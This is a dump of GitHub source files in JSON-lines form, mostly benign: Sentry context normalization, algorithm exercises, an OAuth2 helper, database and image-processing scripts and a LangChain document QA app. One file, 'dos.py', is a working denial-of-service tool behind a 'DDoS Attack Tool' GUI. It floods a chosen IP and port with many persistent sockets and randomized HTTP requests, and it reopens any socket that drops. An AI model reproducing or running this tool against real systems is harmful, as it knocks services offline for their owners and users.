Windows\n_windows_re = re.compile('^(Microsoft )?Windows (NT )?(?P\\d+\\.\\d+\\.\\d+).*$')\n# Environment.OSVersion or RuntimeInformation.OSDescription (uname)\n# on Mono and CoreCLR on macOS, iOS, Linux, etc\n_uname_re = re.compile('^(?P[a-zA-Z]+) (?P\\d+\\.\\d+\\.\\d+(\\.[1-9]+)?).*$')\n# Mono 5.4, .NET Core 2.0\n_runtime_re = re.compile('^(?P.*) (?P\\d+\\.\\d+(\\.\\d+){0,2}).*$')\n\n\ndef normalize_os(data):\n raw_description = data.get('raw_description')\n # If there's no name and version, attempts to infer from raw_description\n if raw_description is not None \\\n and data.get('name') is None \\\n and data.get('version') is None:\n r = _windows_re.search(raw_description)\n if r:\n data['name'] = 'Windows'\n data['version'] = r.group('version')\n else:\n r = _uname_re.search(raw_description)\n if r:\n data['name'] = r.group('name')\n data['kernel_version'] = r.group('version')\n\n\ndef normalize_runtime(data):\n raw_description = data.get('raw_description')\n # If there's no name and version, attempts to infer from raw_description\n if raw_description is not None \\\n and data.get('name') is None \\\n and data.get('version') is None:\n r = _runtime_re.search(raw_description)\n if r:\n data['name'] = r.group('name')\n data['version'] = r.group('version')\n\n # RuntimeInformation.FrameworkDescription doesn't return a very useful value.\n # example: .NET Framework 4.7.3056.0\n # Release key dug from registry and sent as #build\n if data.get('name').startswith('.NET Framework'):\n build = data.get('build')\n\n if build is not None:\n version_map = {\n \"378389\": \"4.5\",\n \"378675\": \"4.5.1\",\n \"378758\": \"4.5.1\",\n \"379893\": \"4.5.2\",\n \"393295\": \"4.6\",\n \"393297\": \"4.6\",\n \"394254\": \"4.6.1\",\n \"394271\": \"4.6.1\",\n \"394802\": \"4.6.2\",\n \"394806\": \"4.6.2\",\n \"460798\": \"4.7\",\n \"460805\": \"4.7\",\n \"461308\": \"4.7.1\",\n \"461310\": \"4.7.1\",\n \"461808\": \"4.7.2\",\n \"461814\": \"4.7.2\",\n }\n version = version_map.get(build, None)\n if version is not None:\n data['version'] = version\n","repo_name":"fictional-tribble-2/getsentry--sentry","sub_path":"src/sentry/utils/contexts_normalization.py","file_name":"contexts_normalization.py","file_ext":"py","file_size_in_byte":2603,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"23931889245","text":"import requests\nimport os\nprint(\"Made with Love by ❤️❤️❤️Rohan Raj❤️❤️❤️\")\nprint(\"Version 1.0\")\nprint(\"\\033[91m Checking dependencies... \\033[0m\")\nos.system(\"bash Requirements.sh\")\ndef menu() :\n print(\"1):- Send a Message to Any Number\")\n print(\"2):- Check if the Message is Delivered or not\")\ndef control() :\n ctrl = input(\"What are You Gonna Choose : \")\n if ctrl == \"1\" :\n sms()\n elif ctrl == \"2\" :\n status()\n else :\n print(\"Invalid number\")\ndef sms() :\n phone_no = input(\"Please Enter Your Country Code and Phone Number With a Plus \\n Example :- +911122334455:\\n \")\n msg = input(\"message to send : \")\n\n resp = requests.post('https://textbelt.com/text',{\n\t'phone' : phone_no,\n\t'message' : msg ,\n\t'key' : 'textbelt'\n })\n\n print(resp.text)\n if '\"success\" : true' in resp.text :\n print('Your Message is Delivered! ')\n if '\"success\" : false' in resp.text :\n print(\"Failed to Send Message!\\n Sorry!! Try again!! \")\ndef status() :\n textID = input(\"Enter textID of sms : \") \n os.system(f\"curl https://textbelt.com/status/{textID}\")\nos.system(\"clear\")\nos.system(\"toilet --gay -f ascii9.tlf 'SMS_Sender' \")\nprint(\"\\033[96mMade with Love by --Hacker Rohan Raj--\")\nmenu()\ncontrol()\n","repo_name":"rohanraj-aipro/Free-SMS-Sender","sub_path":"SMS-SENDER.py","file_name":"SMS-SENDER.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"70152792040","text":"'''\nCreated by Ming Li at 2019-02-17\n\nFeature: \n\nDescription:\nhttps://www.jianshu.com/p/3ef0e4e1114d\nhttps://www.youtube.com/watch?v=CUzm-buvH_8\n\nContact: ming.li2@columbia.edu\n'''\nclass DFS: # 也可以把 backtracking 当成 DFS\n def subsets(self, S):\n self.result = []\n self.backtrack(0, sorted(S), [])\n return self.result\n\n # 这个是模板啊~\n def backtrack(self, start, S, temp):\n self.result.append(temp[:]) # also use the [:] to represent copy()\n for i in range(start , len(S)):\n temp.append(S[i])\n # print(temp)\n self.backtrack(i + 1, S, temp)\n temp.pop()\n \nsolu = DFS()\nresult = solu.subsets(S = [2,3,5,7])\n# print(result)\n\n# best choice\nclass solu2:\n '''\n time complexity: O(n * 2^n)\n space complexity: O(n) the recursion depth\n '''\n \n def subsets(self, nums):\n ans = []\n \n \n def dfs(n, start, curr):\n # combinations of Cm, n) if we use dfs(n, 0, []),\n # where m = len(nums), n is the n input\n if len(curr) == n:\n ans.append(curr.copy()) # must use copy() here, otherwise, it will be empty list\n return\n for i in range(start, len(nums)):\n curr.append(nums[i])\n dfs(n, i+1, curr)\n curr.pop()\n \n for i in range(len(nums)+1):\n dfs(i, 0, [])\n return ans\n \nsolu2 = solu2()\nresult = solu2.subsets(nums = [2,3,5,7])\nprint(result)\n\n'''\nthis problem can be tricky, the key point is to use\nthe recursion tree to understand the DFS goes when\nfirst encounter this kinds of problem\n'''\n\n\n# method 2\n# can only be applied for the combination, where we have something like the O(2^n)\n# for the O(2^n), we get the bit operations into system\n\ndef subsets(nums):\n n = len(nums)\n ans = []\n # areturn [[nums[i] for i in range(n) if s & 1 << i > 0] for s in range(1 << n)]\n for s in range(1 << n):\n ans.append([nums[i] for i in range(n) if s & 1 << i > 0])\n return ans\n# print(subsets([1,2,3]))\n\n\n# last one - submission version\nclass Solution:\n def subsets(self, nums: 'List[int]') -> 'List[List[int]]':\n '''\n # method 1: the bit operation\n ans = []\n n = len(nums)\n for s in range(1 << n):\n ans.append([nums[i] for i in range(n) if s & 1 << i > 0])\n return ans\n '''\n \n # method 2: the dfs and backtracking\n self.ans = []\n for i in range(len(nums)+1):\n self.backtracking(nums, i, 0, [])\n return self.ans\n \n def backtracking(self, nums, length, start, cur):\n if len(cur) == length:\n self.ans.append(cur[:])\n return\n for i in range(start, len(nums)):\n cur.append(nums[i])\n self.backtracking(nums, length, i + 1, cur)\n cur.pop()\n\n\nprint(Solution().subsets([1,2,3]))","repo_name":"leemingee/CoolStuff","sub_path":"torch_trial/backtracking/subset.py","file_name":"subset.py","file_ext":"py","file_size_in_byte":2960,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"42506522159","text":"\"\"\"A general module to use OAuth2.\n\n(c) 2015 Morning Project Samurai\n\nThis file is part of modmps.\nmodmps is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License.\n\nmodmps is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\nYou should have received a copy of the GNU General Public License\nalong with Foobar. If not, see .\n\"\"\"\n\n__author__ = 'Junya Kaneko '\n\nfrom modmps.http.api_executor import ApiExecutor\n\nclass AuthRequester(ApiExecutor):\n def __init__(self,\n base_url, client_id, response_type='code', redirect_uri=None, scope=None, state=None, extra_params={}):\n params = {\n 'response_type': response_type,\n 'client_id': client_id,\n 'redirect_uri': redirect_uri,\n 'scope': scope,\n 'state': state,\n }\n\n params.update(extra_params)\n super(AuthRequester, self).__init__(base_url, params)\n\n @property\n def state(self):\n return self._parameters['state']\n\n def get_url(self, parameters={}):\n return self._get_url_with_query_string(parameters)\n\nclass AccessTokenRequester(ApiExecutor):\n def __init__(self, base_url, code, redirect_uri, client_id, grant_type='authorization_code', extra_params={}):\n params = {\n 'grant_type': grant_type,\n 'code': code,\n 'redirect_uri': redirect_uri,\n 'client_id': client_id\n }\n params.update(extra_params)\n super(AccessTokenRequester, self).__init__(base_url, params)\n\n def get_token(self, parameters={}, method='post', decode_to='utf-8', encode_to='utf-8'):\n return self._execute(parameters, method=method, decode_to=decode_to, encode_to=encode_to)\n\n\nclass AccessTokenRefreshRequester(ApiExecutor):\n def __init__(self, base_url, refresh_token, scope=None, grant_type='refresh_token', extra_params={}):\n params = {\n 'grant_type': grant_type,\n 'refresh_token': refresh_token,\n 'scope': scope,\n }\n params.update(extra_params)\n super(AccessTokenRefreshRequester, self).__init__(base_url, params)\n\n def get_token(self, parameters={}, method='post', decode_to='utf-8', encode_to='utf-8'):\n return self._execute(parameters, method=method, decode_to=decode_to, encode_to=encode_to)","repo_name":"tsuetsugu/modmps","sub_path":"modmps/http/oauth2/oauth2.py","file_name":"oauth2.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35466663215","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"Python file to reset the tables needed for the ETL pipeline.\n\nIdeally to be run before testing the ETL.\n\nExample:\n $ python reset.py\n\"\"\"\n\nimport pandas as pd\nimport cassandra\nfrom cassandra.cluster import Cluster\nimport re\nimport os\nimport glob\nimport numpy as np\nimport json\nimport csv\nfrom cql_queries import *\n\ndef connect_cassandra():\n \"\"\"Function that connects to the Cassandra Cluster, creates the needed keyspace if \n it still doesn't exists, and connects to it\n\n Returns:\n (cassandra.cluster.Cluster): Cluster connection, used for later shutdown\n (cassandra.cluster.Session): Cassandra session, used to run queries\n \"\"\"\n # connect to the cluster\n try: \n cluster = Cluster(['127.0.0.1'])\n session = cluster.connect()\n except Exception as e:\n print(e)\n # create the keyspace\n try:\n session.execute(\"\"\"\n CREATE KEYSPACE IF NOT EXISTS udacity \n WITH REPLICATION = \n { 'class' : 'SimpleStrategy', 'replication_factor' : 1 }\"\"\"\n )\n except Exception as e:\n print(e)\n # connect to the keyspace\n try:\n session.set_keyspace('udacity')\n except Exception as e:\n print(e)\n return (cluster,session)\n\ndef run_queries(session,query_list):\n \"\"\"Function that runs a list of queries in the received Cassandra session\n\n Args:\n session (cassandra.cluster.Session): session in which the queries will be run\n query_list (list): list of queries to be run\n \"\"\"\n for query in query_list:\n try:\n session.execute(query)\n except Exception as e:\n print('Error running query [{}]'.format(query))\n print(e)\n return\n\ndef main():\n \"\"\"Creates a connection to the Cassandra cluster;\n drops the tables if they exist;\n then shuts down the connection.\n \"\"\"\n # create the connection\n cluster, session = connect_cassandra()\n # drop the old tables\n run_queries(session,drop_table_queries)\n print('Tables successfully dropped')\n # close the connection\n session.shutdown()\n cluster.shutdown()\n\nif __name__ == '__main__':\n main()\n","repo_name":"miguel-faggioni/udacity-data-engineering--proj-2","sub_path":"reset.py","file_name":"reset.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7660071176","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nimport os\n\n\ndef check_pattern_image_w_nptile():\n white_patch = 255 * np.ones(shape=(10, 10))\n black_patch = np.zeros(shape=(10, 10))\n\n img1 = np.hstack([white_patch, black_patch])\n img2 = np.hstack([black_patch, white_patch])\n img = np.vstack([img1, img2])\n\n tile = np.tile(img, reps=[2, 2])\n return tile\n\n\ndef visualize(names, if_vmax=False, *args):\n fig, axes = plt.subplots(ncols=3, figsize=(3 * len(args), 3))\n for i, data in enumerate(args):\n if not if_vmax:\n axes[i].imshow(data, cmap='gray')\n else:\n axes[i].imshow(data, cmap='gray', vmax=255, vmin=0)\n axes[i].set_title(names[i])\n axes[i].tick_params(left=False, labelleft=False, bottom=False, labelbottom=False)\n\n fig.tight_layout()\n plt.show()\n\n\ndef get_data(data=None):\n if data is None:\n data = check_pattern_image_w_nptile()\n\n x_filter = np.array([\n [-1, 0, 1],\n [-2, 0, 2],\n [-1, 0, 1]\n ]) # 상하 대칭\n\n y_filter = np.array([\n [1, 2, 1],\n [0, 0, 0],\n [-1, -2, -1]\n ]) # 좌우 대칭\n\n return data, x_filter, y_filter\n\n\ndef two_dim_correlation(data, filter_):\n window_size = 3\n height, width = data.shape\n n_window_height = height - window_size + 1\n n_window_width = width - window_size + 1\n\n hadamard_product = lambda row, col: data[row:row + window_size, col:col + window_size] * filter_\n extracted = np.array(\n [[hadamard_product(row, col) for col in range(n_window_width)] for row in range(n_window_height)])\n correlated = np.sum(extracted, axis=(2, 3))\n\n return correlated\n\n\ndef sobel_filtering1():\n data, x_filter, y_filter = get_data()\n x_filtered = two_dim_correlation(data, x_filter)\n y_filtered = two_dim_correlation(data, y_filter)\n\n visualize([\"data\", \"x_filtered\", \"y_filtered\"], False, data, x_filtered, y_filtered)\n\n\ndef sobel_filtering2(path):\n img = Image.open(path)\n new_path = path.replace(\".jpg\", \"-gray.jpg\")\n img_gray = img.convert(\"L\")\n if not os.path.isfile(new_path):\n img_gray.save(new_path)\n\n img_array = np.array(img_gray)\n data, x_filter, y_filter = get_data(img_array)\n x_filtered = two_dim_correlation(data, x_filter)\n y_filtered = two_dim_correlation(data, y_filter)\n\n visualize([\"data\", \"x_filtered\", \"y_filtered\"], True, data, x_filtered, y_filtered)\n\n\nif __name__ == '__main__':\n # sobel_filtering1()\n sobel_filtering2(path=\"data/winter-3317660_640.jpg\")\n","repo_name":"seyeon-shijuan/sesac-machine-learning","sub_path":"chap3_deep_learning/dl_20_sobel_filtering3.py","file_name":"dl_20_sobel_filtering3.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38746959331","text":"N, Q = map(int, input().split())\nqueries = [list(map(int, input().split())) for _ in range(Q)]\n \nunilist = [i for i in range(N)]\n\ndef find(x):\n if x == unilist[x]:\n return x\n else:\n unilist[x] = find(unilist[x])\n return unilist[x]\n\ndef union(x, y):\n s1, s2 = find(x), find(y)\n if s1 != s2:\n unilist[s2] = s1\n\ndef isSame(x, y):\n return find(x) == find(y)\n\nfor query in queries:\n if query[0] == 0:\n union(query[1], query[2])\n else:\n print(\"Yes\" if isSame(query[1], query[2]) else \"No\")\n","repo_name":"yumechi/AtCoderHandoutCodes","sub_path":"ATC/ATC001/atc001b.py","file_name":"atc001b.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"37339992495","text":"from astropy.io import ascii\nimport numpy as np\n\nbatdata = ascii.read(\"BAT_105m_catalog_07jul2019.txt\",delimiter='|',names=[\"ID\", \"BAT_NAME\", \"RA\", \"DEC\", \"SNR\", \"COUNTERPART_NAME\", \"OTHER_NAME\", \"CTPT_RA\",\"CTPT_DEC\", \"FLUX\", \"FLUX_LO\", \"FLUX_HI\", \"CONTA\", \"GAMM\", \"GAMM_LO\", \"GAMM_HI\", \"CHI_SQ_R\", \"REDSHIFT\", \"LUM\", \"ASSOC_STREN\", \"CL2\", \"TYPE\"])\n\nbrightsort = np.argsort(batdata['FLUX'])\n\ndirs = open(\"DirectoryList.txt\",'r').readlines()\n\nra_list = []\ndec_list = []\n\n\n\nfor this_dir in dirs:\n this_dir= this_dir.rstrip()\n this_ra = int(this_dir[:3])\n this_dec = 90 - int(this_dir[3:])\n\n ra_list.append(this_ra)\n dec_list.append(this_dec)\n\nra_arr = np.array(ra_list)\ndec_arr = np.array(dec_list)\n\n\nfor src_ra, src_dec, src_flux, src_name in zip(batdata['RA'][brightsort], batdata['DEC'][brightsort], batdata['FLUX'][brightsort], batdata['COUNTERPART_NAME'][brightsort]):\n\n ra_mask1 = ra_arr - src_ra < 1.5\n ra_mask2 = ra_arr - src_ra > -1.5\n ra_mask = np.logical_and(ra_mask1,ra_mask2)\n \n \n dec_mask1 = np.abs(dec_arr - src_dec) < 1.5\n dec_mask2 = -1.*np.abs(dec_arr - src_dec) > -1.5\n\n dec_mask = np.logical_and(dec_mask1,dec_mask2)\n \n pos_mask = np.logical_and(ra_mask,dec_mask)\n\n ra_filtered = ra_arr[pos_mask]\n dec_filtered = dec_arr[pos_mask]\n #print(ra_filtered,dec_filtered)\n \n \n if ra_filtered.shape[0] == 1:\n print(\"%s %03i%03i %.3f %.3f %.3f\" %(src_name, ra_filtered[0],90-dec_filtered[0], src_ra, src_dec, src_flux))\n\n","repo_name":"CTJChen/martxc","sub_path":"SwiftBins.py","file_name":"SwiftBins.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14411936277","text":"import requests\nimport random\nimport socket\nimport time\nimport logging\nimport sys\nimport tkinter as tk\nfrom tkinter import messagebox\n\nregular_headers = [\n \"User-agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0\",\n \"Accept-language: en-US,en,q=0.5\"\n]\n\ndef init_socket(ip, port):\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.settimeout(4)\n s.connect((ip, int(port)))\n s.send(\"GET /?{} HTTP/1.1\\r\\n\".format(random.randint(0, 2000)).encode('UTF-8'))\n\n for header in regular_headers:\n s.send('{}\\r\\n'.format(header).encode('UTF-8'))\n\n return s\n\ndef send_request(s, method=\"GET\", url=\"/\", headers=None, data=None):\n # Generate random headers for each request if not provided\n if not headers:\n headers = random.choice(regular_headers)\n s.send(\"{}\\r\\n\".format(headers).encode('UTF-8'))\n\n # Add random data to the request body\n if data:\n s.send(data.encode('UTF-8'))\n\n # Send the request\n request = \"{} {} HTTP/1.1\\r\\n\".format(method, url)\n s.send(request.encode('UTF-8'))\n\ndef main(ip, port, socket_count, timer):\n socket_list = []\n\n for _ in range(socket_count):\n try:\n s = init_socket(ip, port)\n except socket.error:\n break\n socket_list.append(s)\n\n while True:\n for s in socket_list:\n try:\n time.sleep(random.randint(1, 10))\n\n http_methods = [\"GET\", \"POST\", \"PUT\", \"DELETE\"]\n method = random.choice(http_methods)\n\n urls = [\"/\", \"/page1\", \"/page2\", \"/api/data\"]\n url = random.choice(urls)\n\n data = None\n if method in [\"POST\", \"PUT\"]:\n data = generate_random_data()\n\n headers = generate_custom_headers()\n\n send_request(s, method, url, headers, data)\n\n response = s.recv(1024)\n logging.info(\"Response status code: {}\".format(response.decode('UTF-8')))\n except socket.error:\n socket_list.remove(s)\n logging.error(\"Socket error occurred.\")\n\n for _ in range(socket_count - len(socket_list)):\n try:\n s = init_socket(ip, port)\n if s:\n socket_list.append(s)\n except socket.error:\n break\n\n time.sleep(timer)\n\n for s in socket_list:\n try:\n s.recv(1024)\n except socket.error:\n socket_list.remove(s)\n logging.error(\"Socket error occurred.\")\n\n if len(socket_list) == 0:\n break\n\n time.sleep(random.randint(1, 10))\n\ndef generate_random_data():\n data_size = random.randint(1, 1024)\n return 'x' * data_size\n\ndef generate_custom_headers():\n custom_headers = [\n \"X-Request-ID: {}\".format(random.randint(1, 1000)),\n \"Content-Type: application/json\"\n ]\n return random.choice(custom_headers)\n\ndef start_attack():\n ip = entry_ip.get()\n port = entry_port.get()\n socket_count = int(entry_socket_count.get())\n timer = int(entry_timer.get())\n\n try:\n main(ip, port, socket_count, timer)\n except Exception as e:\n messagebox.showerror(\"Error\", str(e))\n\n# Create the GUI window\nwindow = tk.Tk()\nwindow.title(\"DDoS Attack Tool\")\n\n# Create and position the labels\nlabel_ip = tk.Label(window, text=\"Target IP:\")\nlabel_ip.grid(row=0, column=0, padx=5, pady=5)\n\nlabel_port = tk.Label(window, text=\"Target Port:\")\nlabel_port.grid(row=1, column=0, padx=5, pady=5)\n\nlabel_socket_count = tk.Label(window, text=\"Socket Count:\")\nlabel_socket_count.grid(row=2, column=0, padx=5, pady=5)\n\nlabel_timer = tk.Label(window, text=\"Timer (seconds):\")\nlabel_timer.grid(row=3, column=0, padx=5, pady=5)\n\n# Create and position the entry fields\nentry_ip = tk.Entry(window)\nentry_ip.grid(row=0, column=1, padx=5, pady=5)\n\nentry_port = tk.Entry(window)\nentry_port.grid(row=1, column=1, padx=5, pady=5)\n\nentry_socket_count = tk.Entry(window)\nentry_socket_count.grid(row=2, column=1, padx=5, pady=5)\n\nentry_timer = tk.Entry(window)\nentry_timer.grid(row=3, column=1, padx=5, pady=5)\n\n# Create and position the start button\nstart_button = tk.Button(window, text=\"Start Attack\", command=start_attack)\nstart_button.grid(row=4, column=0, columnspan=2, padx=5, pady=5)\n\n# Start the GUI event loop\nwindow.mainloop()\n","repo_name":"learnershakil/Dos","sub_path":"dos.py","file_name":"dos.py","file_ext":"py","file_size_in_byte":4405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"19201239175","text":"from PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import QVBoxLayout, QComboBox, QLabel, QHBoxLayout, QSlider\n\nfrom apex_yolov5.socket import yolov5_handler\n\n\nclass ModelConfigLayout:\n def __init__(self, config, main_window, parent_layout):\n self.config = config\n self.main_window = main_window\n self.parent_layout = parent_layout\n\n def add_layout(self):\n model_config_layout = QVBoxLayout()\n model_config_layout.setObjectName(\"model_config_layout\")\n self.label = QLabel(\"模型设置\")\n self.label.setAlignment(Qt.AlignCenter)\n\n model_combo_box_layout = QHBoxLayout()\n label = QLabel(\"选择模型:\")\n self.model_combo_box = QComboBox()\n\n self.model_combo_box.currentIndexChanged.connect(self.selection_changed)\n\n model_combo_box_layout.addWidget(label)\n model_combo_box_layout.addWidget(self.model_combo_box)\n\n conf_thres_layout = QHBoxLayout()\n # 创建标签和滑动条\n self.conf_thres_label = QLabel(\"置信度阈值:\", self.main_window)\n self.conf_thres_slider = QSlider(Qt.Horizontal, self.main_window)\n self.conf_thres_slider.setMinimum(1) # 最小值\n self.conf_thres_slider.setMaximum(100) # 最大值\n\n self.conf_thres_slider.valueChanged.connect(self.update_slieder_value)\n conf_thres_layout.addWidget(self.conf_thres_label)\n conf_thres_layout.addWidget(self.conf_thres_slider)\n\n iou_thres_layout = QHBoxLayout()\n # 创建标签和滑动条\n self.iou_thres_label = QLabel(\"交并比阈值:\", self.main_window)\n self.iou_thres_slider = QSlider(Qt.Horizontal, self.main_window)\n self.iou_thres_slider.setMinimum(1) # 最小值\n self.iou_thres_slider.setMaximum(100) # 最大值\n\n self.iou_thres_slider.valueChanged.connect(self.update_iou_thres_value)\n iou_thres_layout.addWidget(self.iou_thres_label)\n iou_thres_layout.addWidget(self.iou_thres_slider)\n\n model_config_layout.addWidget(self.label)\n model_config_layout.addLayout(model_combo_box_layout)\n model_config_layout.addLayout(conf_thres_layout)\n model_config_layout.addLayout(iou_thres_layout)\n\n self.parent_layout.addLayout(model_config_layout)\n self.init_form_config()\n\n def init_form_config(self):\n self.model_combo_box.blockSignals(True)\n self.model_combo_box.clear()\n for key in self.config.available_models.keys():\n self.model_combo_box.addItem(key)\n self.model_combo_box.blockSignals(False)\n if not self.model_combo_box.currentText() == self.config.current_model:\n self.model_combo_box.setCurrentText(self.config.current_model)\n self.conf_thres_label.setText(\"置信度阈值:\" + str(self.config.conf_thres))\n self.conf_thres_slider.setValue(int(self.config.conf_thres * 100)) # 初始化值\n self.iou_thres_label.setText(\"交并比阈值:\" + str(self.config.iou_thres))\n self.iou_thres_slider.setValue(int(self.config.iou_thres * 100)) # 初始化值\n\n def selection_changed(self, index):\n selected_key = self.model_combo_box.currentText()\n if selected_key == '':\n return\n self.model_combo_box.setEnabled(False)\n self.config.set_config(\"current_model\", selected_key)\n self.config.current_model = selected_key\n yolov5_handler.reload_model()\n self.model_combo_box.setEnabled(True)\n\n def update_slieder_value(self, value):\n self.conf_thres_label.setText(\"置信度阈值:\" + str(value / 100))\n self.conf_thres_label.adjustSize()\n self.config.set_config(\"conf_thres\", value / 100)\n\n def update_iou_thres_value(self, value):\n self.iou_thres_label.setText(\"交并比阈值:\" + str(value / 100))\n self.iou_thres_label.adjustSize()\n self.config.set_config(\"iou_thres\", value / 100)\n","repo_name":"wdragondragon/apex-yolov5","sub_path":"apex_yolov5/window_layout/model_config_layout.py","file_name":"model_config_layout.py","file_ext":"py","file_size_in_byte":3920,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"18"} +{"seq_id":"25216983022","text":"# https://leetcode.com/problems/is-graph-bipartite/\n# tags: #bfs, #dfs, #graph, #union_find\n#\n# Solution: DFS + nodes coloring\n# Constraint: A graph is bipartite if each edges connects only a pair of nodes\n# We can solve this problem using nodes coloring solution where we color each edge as\n# [v,u] = 1 - [u,v] (Color it with the color opposite to color[u])\n# Time complexity: O(V + E), Space complexity O(V + E)\nfrom typing import List\n\n\nclass Solution:\n def isBipartite(self, graph: List[List[int]]) -> bool:\n def dfs(u: int) -> bool:\n for v in graph[u]:\n if v in color:\n if color[v] == color[u]: return False\n else:\n color[v] = 1 - color[u]\n if not dfs(v): return False\n return True\n\n color = dict()\n for i in range(len(graph)):\n if i not in color:\n color[i] = 0\n if not dfs(i): return False\n return True\n\n\nif __name__ == \"__main__\":\n sol = Solution()\n print(sol.isBipartite(graph=[[1, 2, 3], [0, 2], [0, 1, 3], [0, 2]])) # False\n print(sol.isBipartite())\n","repo_name":"ronelzb/leetcode","sub_path":"graph_search/0785_is_graph_bipartite.py","file_name":"0785_is_graph_bipartite.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"36500343964","text":"import os\nimport datetime\nimport streamlit as st\nfrom streamlit_chat import message\nfrom langchain.document_loaders import PyPDFLoader, DirectoryLoader\nfrom langchain.chains.question_answering import load_qa_chain\nfrom langchain.chains.qa_with_sources import load_qa_with_sources_chain\nfrom langchain.llms import OpenAI\nfrom langchain.text_splitter import CharacterTextSplitter\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nst.set_page_config(page_title=\"LangChain Load Docs Demo\", page_icon=\":robot:\")\n@st.cache_resource\ndef load_chain():\n \"\"\"Logic for loading the chain you want to use should go here.\"\"\"\n # template = \"{history} let's think step by step\"\n # prompt = PromptTemplate(input_variables=[\"history\"], template=template)\n llm = OpenAI(temperature=0)\n chain = load_qa_with_sources_chain(llm=llm, chain_type=\"stuff\")\n # chain = load_qa_chain(llm=llm, chain_type=\"stuff\")\n return chain\n\nif \"generated\" not in st.session_state:\n st.session_state[\"generated\"] = []\n\nif \"past\" not in st.session_state:\n st.session_state[\"past\"] = []\nif \"uploaded_files\" not in st.session_state:\n st.session_state[\"uploaded_files\"] = []\n\n# Implement the sidebar\nwith st.sidebar:\n st.header(\"Upload files\")\n\n # Allow multiple files of any type to be uploaded\n new_uploaded_files = st.file_uploader(\"Upload multiple files\", accept_multiple_files=True)\n # Button to append new uploaded files to the session state\n if st.button(\"Add files\"):\n if new_uploaded_files:\n for file in new_uploaded_files:\n st.session_state.uploaded_files.append((file, datetime.datetime.now()))\n else:\n st.warning(\"No files selected for upload.\")\n\n\nwith st.form(key=\"form\", clear_on_submit=True):\n user_input: str = st.text_area(\"You: \", \"\", key=\"input_text\", placeholder=\"please type here\")\n submit: bool = st.form_submit_button(\"Submit\")\n\n\n# Define target directory for saving files\ntarget_directory = \"uploaded_files\"\n\nif submit:\n chain = load_chain()\n loader = DirectoryLoader('uploaded_files/', glob=\"**/*.pdf\", loader_cls=PyPDFLoader)\n print(loader)\n text_splitter = CharacterTextSplitter(separator = \"\\n\\n\",chunk_size=2000)\n docs = loader.load_and_split(text_splitter)\n print(docs[0])\n # output: str = chain.run(input_documents=docs, question=f\"{user_input}. let's think step by step\")\n output: str = chain({\"input_documents\": docs, \"question\": user_input}, return_only_outputs=True)\n\n st.session_state.past.append(user_input)\n st.session_state.generated.append(output)\n\nif not os.path.exists(target_directory):\n os.makedirs(target_directory)\n\nif st.session_state[\"uploaded_files\"]:\n file_counter = 1\n for file, timestamp in st.session_state[\"uploaded_files\"]:\n try:\n # Save the uploaded file to the target directory\n file_path = os.path.join(target_directory, file.name)\n with open(file_path, \"wb\") as f:\n f.write(file.getvalue())\n\n # Display the file name, upload timestamp, and saved file path\n st.write(f\"File {file_counter}: {file.name} (uploaded at {timestamp.strftime('%Y-%m-%d %H:%M:%S')})\")\n st.write(f\"Saved to: {file_path}\") \n\n except Exception as e:\n st.error(f\"Error processing file {file.name}: {str(e)}\")\n\n file_counter += 1\nelse:\n st.write(\"No files uploaded.\")\n\n\nif st.session_state[\"generated\"]:\n\n for i in range(len(st.session_state[\"generated\"]) - 1, -1, -1):\n message(st.session_state[\"generated\"][i], key=str(i))\n message(st.session_state[\"past\"][i], is_user=True, key=str(i) + \"_user\")\n","repo_name":"daisuke19891023/streamlit-langchain-chatapp","sub_path":"pages/3_Load_Docs.py","file_name":"3_Load_Docs.py","file_ext":"py","file_size_in_byte":3659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"35873722082","text":"def optelling():\n totaal = 0\n while True:\n getal = eval(input('Voer een getal in: '))\n if getal == 0:\n break\n totaal += getal\n print('Het totaal van alle ingevoerde getallen komt uit op',totaal,'.' )\n\n\noptelling()","repo_name":"Redouanelh/Oefening","sub_path":"pe9_1.py","file_name":"pe9_1.py","file_ext":"py","file_size_in_byte":254,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33907211033","text":"import cv2\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\nfrom scipy.stats import skewnorm\r\n\r\ndef readConvert(r,g,b):\r\n col = len(r)\r\n y = np.zeros(r.shape)\r\n cb = np.zeros(r.shape)\r\n cr = np.zeros(r.shape)\r\n \r\n for o in range(col):\r\n 